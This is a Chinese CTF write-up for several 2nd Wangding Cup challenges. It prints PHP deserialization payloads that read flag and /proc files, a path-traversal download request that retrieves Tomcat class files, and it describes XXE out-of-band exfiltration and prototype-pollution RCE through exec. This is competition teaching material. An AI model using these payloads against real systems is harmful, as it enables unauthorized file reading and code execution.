第二届网鼎杯(青龙组)部分wp

admin 2022年6月9日09:51:29CTF专场评论12 views2526字阅读8分25秒阅读模式

第二届网鼎杯(青龙组)部分wp

 记录下第二届网鼎杯青龙组的部分wp





AreUSerialz

比较简单的一道反序列化题。
因为类中有protected属性,所以要先绕过is_valid

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;}

因为php7.1+对类属性的检测不严格,所以这里可以直接用public来写payload.

接着我们要读取文件,得让$op为2,这里利用php的弱比较,直接让$op=2绕过。

然后就是题目只能通过绝对路径来读取文件,这里有三种解法:

第一种应该是非预期,将content属性改为private可以通过相对路径读到flag.php

<?phpclass FileHandler {
public $op=2;public $filename="flag.php";private $content;
} $a=new FileHandler;echo (serialize($a));
?>

第二种是通过网站的报错,查看docker的web路径。

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

第三者是读取当前进程的cmdline

<?phpclass FileHandler {
public $op=2;public $filename="/proc/self/cmdline";public $content;
} $a=new FileHandler;echo (serialize($a));
?>

第二届网鼎杯(青龙组)部分wp

最后通过绝对路径读flag

<?phpclass FileHandler {
public $op=2;public $filename="/web/html/flag.php";public $content;
} $a=new FileHandler;echo (serialize($a));
?>

 




filejava

一个简单的Servlet上传和下载功能。在下载功能处存在任意文件下载。

第二届网鼎杯(青龙组)部分wp

通过报错来获得网站的绝对路径

第二届网鼎杯(青龙组)部分wp

然后java题,一般是读取web.xml

第二届网鼎杯(青龙组)部分wp

然后根据web.xml读取class文件。规律是将包名换成路径,然后在/WEB-INF/classes/下。比如这里读取UploadServlet

/

file_in_java/DownloadServlet?filename=../../../../../../.././../../..//usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

将所有的class文件下载下来之后,进行反编译,然后审计代码。

一共三个servlet,大概就是列出目录下的文件,下载文件,还有就是上传文件。

这里还限制了直接读取flag.

第二届网鼎杯(青龙组)部分wp

继续审计,发现这里会对xlxs文件进行处理,可能存在xxe漏洞。

第二届网鼎杯(青龙组)部分wp

参靠文章 https://xz.aliyun.com/t/7272#toc-9

结合 xxe外带出flag

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

这里记得文件名前面要加excel-

 




notes

nodejs题,可以直接下载源码审计

首先来看下undefsafe库

第二届网鼎杯(青龙组)部分wp

题目的本意是用来改变列表中属性的值。这里存在原型链污染漏洞。

第二届网鼎杯(青龙组)部分wp

接着在源码中寻找原型污染利用的地方,发现

app.route('/status').get(function(req, res) {let commands = {"script-1": "uptime","script-2": "free -m"};for (let index in commands) {exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {if (err) {return;}console.log(`stdout: ${stdout}`);});}res.send('OK');res.end();})

如果我们能给commands数组添加我们自己想要执行的代码,则可以rce

第二届网鼎杯(青龙组)部分wp

这里因为对数组进行了遍历,所以我们污染object,遍历的时候是会遍历到数组的原型即object的属性。

现在我们思路就很清晰了

app.route('/edit_note').get(function(req, res) {res.render('mess', {message: "please use POST to edit a note"});}).post(function(req, res) {let id = req.body.id;let author = req.body.author;let enote = req.body.raw;if (id && author && enote) {notes.edit_note(id, author, enote);res.render('mess', {message: "edit note sucess"});} else {res.render('mess', {message: "edit note failed"});}})

通过路由/edit_note 污染原型链,然后访问/status触发payload

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

 




you raise me up
from Crypto.Util.number import *import random
n = 2 ** 512m = random.randint(2, n-1) | 1c = pow(m, bytes_to_long(flag), n)print 'm = ' + str(m)print 'c = ' + str(c)

简单的离散对数。可以直接用sagemath网站来求

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

第二届网鼎杯(青龙组)部分wp

 




boom

运作.exe输入正确的数即可。

第二届网鼎杯(青龙组)部分wp

 




相关网站

xxe:http://121.196.193.160/2020/02/17/xxe/

原型污染:http://121.196.193.160/2020/02/27/javascript-prototype-%e6%b1%a1%e6%9f%93%e6%94%bb%e5%87%bb/

sagemath: https://sagecell.sagemath.org/


原文始发于微信公众号(白帽子程序员):第二届网鼎杯(青龙组)部分wp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月9日09:51:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  第二届网鼎杯(青龙组)部分wp http://cn-sec.com/archives/1100824.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: